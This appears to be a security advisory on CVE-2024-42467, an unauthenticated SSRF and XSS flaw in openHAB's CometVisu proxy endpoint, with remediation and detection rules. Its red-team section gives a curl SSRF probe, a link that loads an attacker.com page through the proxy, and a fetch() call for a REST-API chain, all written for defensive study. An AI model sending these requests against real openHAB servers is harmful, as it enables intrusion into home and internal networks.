CVE-2024-42467

Executive Summary

CVE-2024-42467 is a critical vulnerability in the openHAB CometVisu add-on, a visualization component for the open-source home automation platform. The flaw resides in the proxy endpoint, which lacks authentication, allowing unauthenticated attackers to perform Server-Side Request Forgery (SSRF) and Cross-Site Scripting (XSS) attacks. The SSRF can be used to probe internal networks, while the XSS can be leveraged to execute arbitrary JavaScript in the context of the CometVisu UI, potentially leading to Remote Code Execution (RCE) when chained with other vulnerabilities. The CVSS score is 10.0, indicating maximum severity. No public proof-of-concept (PoC) or exploit code is available at this time. The vendor has released a patch in version 4.2.1.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a Java-based add-on for the openHAB ecosystem. The risk is primarily to organizations that expose openHAB instances to non-private networks. The supply chain risk is low, as the vulnerability is in the application logic, not in a dependency.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
• Base Score: 10.0 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required for SSRF; XSS requires user to click a link.
• Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: High (C:H) – Potential access to internal systems.
• Integrity Impact: High (I:H) – Malicious JavaScript can modify UI or trigger actions.
• Availability Impact: High (A:H) – Could lead to denial of service or RCE.

Threat Level: Critical. The combination of SSRF and XSS allows an attacker to pivot into internal networks and execute arbitrary code in the context of the openHAB server.

Deep Dive & Mechanics

The CometVisu add-on provides a proxy endpoint that forwards HTTP requests from the client to external or internal servers. This endpoint is intended for legitimate use (e.g., fetching data from other services), but it lacks authentication and input validation.

SSRF Exploitation: An attacker can craft a request to the proxy endpoint with a target URL pointing to an internal server (e.g., http://192.168.1.1/admin). The openHAB server will make a GET request to that internal server, allowing the attacker to:

• Scan internal network hosts and ports.
• Access internal services (e.g., databases, admin panels).
• Bypass firewall restrictions.

XSS Exploitation: The proxy endpoint returns the response from the target server directly to the browser. If the attacker controls the target server, they can return a page containing malicious JavaScript. Since the response is served from the openHAB origin, the JavaScript executes in the context of the CometVisu UI, allowing:

• Session hijacking.
• CSRF attacks against openHAB APIs.
• Data exfiltration.

Chaining to RCE: The XSS can be used to call openHAB REST APIs (e.g., to execute commands or modify configurations). If combined with other vulnerabilities (e.g., command injection in an add-on), this can lead to full RCE.

Vulnerable vs. Patched Code

The vulnerability is in the proxy endpoint implementation. The vulnerable code likely does not validate the target URL or require authentication.

Vulnerable (simplified pseudocode):

// No authentication check
String targetUrl = request.getParameter("url");
URL url = new URL(targetUrl);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
// Forward response to client

Patched (simplified pseudocode):

// Authentication required
if (!isAuthenticated(request)) {
    response.sendError(401);
    return;
}
String targetUrl = request.getParameter("url");
// Validate URL to prevent SSRF
if (!isAllowedUrl(targetUrl)) {
    response.sendError(403);
    return;
}
URL url = new URL(targetUrl);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
// Forward response to client

The patch adds authentication and URL validation (e.g., block private IP ranges, require allowlist).

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install openHAB 4.2.0 with CometVisu add-on.
2. Expose openHAB on a public IP or simulate a non-private network.
3. Set up an internal server (e.g., http://192.168.1.100:8080/admin) and an attacker-controlled server (e.g., http://attacker.com/evil.html).

Exploitation Steps:

SSRF:

# Probe internal server
curl "http://victim:8080/cometvisu/proxy?url=http://192.168.1.100:8080/admin"

XSS:

1. Host a malicious HTML page on attacker.com:

<script>alert('XSS');</script>

2. Send victim a link:

http://victim:8080/cometvisu/proxy?url=http://attacker.com/evil.html

3. The JavaScript executes in the context of openHAB.

Chaining to RCE (hypothetical): Use XSS to call openHAB REST API to execute a command:

fetch('/rest/items/MyItem', {method: 'POST', body: 'command'});

Blue Team

Detection:

• Monitor proxy endpoint access logs for unusual URLs (e.g., private IPs, external domains).
• Look for repeated requests to the proxy endpoint from a single IP.
• Use WAF rules to block requests to the proxy endpoint with private IP targets.

Hunting:

• Search for cometvisu/proxy in web server logs.
• Correlate with outbound connections from the openHAB server to internal IPs.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests from openHAB server to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
  • Requests to the proxy endpoint with suspicious URLs.
• Logs:
  • Access log entries containing /cometvisu/proxy?url=.
  • Error logs showing connection attempts to internal hosts.
• File:
  • No specific file IOCs.

Detection Engineering

YARA Rule

rule CVE_2024_42467_SSRF_XSS {
    meta:
        description = "Detects exploitation attempts of CVE-2024-42467 in openHAB CometVisu"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-42467"
    strings:
        $proxy = "/cometvisu/proxy" nocase
        $url_param = "url=" nocase
        $private_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/
    condition:
        $proxy and $url_param and $private_ip
}

Sigma Rule

title: CVE-2024-42467 openHAB CometVisu SSRF/XSS Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to the openHAB CometVisu proxy endpoint with internal IP targets.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/cometvisu/proxy?url="
    filter:
        cs-uri-query|contains:
            - "http://10."
            - "http://172.16."
            - "http://172.17."
            - "http://172.18."
            - "http://172.19."
            - "http://172.20."
            - "http://172.21."
            - "http://172.22."
            - "http://172.23."
            - "http://172.24."
            - "http://172.25."
            - "http://172.26."
            - "http://172.27."
            - "http://172.28."
            - "http://172.29."
            - "http://172.30."
            - "http://172.31."
            - "http://192.168."
    condition: selection and filter
falsepositives:
    - Legitimate use of proxy for internal services (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-42467 openHAB CometVisu SSRF/XSS Exploitation"; flow:to_server; content:"/cometvisu/proxy"; http_uri; content:"url="; http_uri; pcre:"/url=http:\/\/(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade to openHAB CometVisu add-on version 4.2.1 or later.
• If upgrade is not possible, disable the CometVisu add-on or restrict access to the proxy endpoint via firewall or reverse proxy rules.

Compensating Controls:

• Implement a WAF rule to block requests to /cometvisu/proxy with private IP targets.
• Restrict outbound HTTP access from the openHAB server to only necessary external hosts.
• Use network segmentation to isolate openHAB from internal sensitive systems.

Long-term:

• Conduct a security review of all openHAB add-ons for similar authentication bypass issues.
• Implement input validation and allowlisting for proxy targets.

Valters IT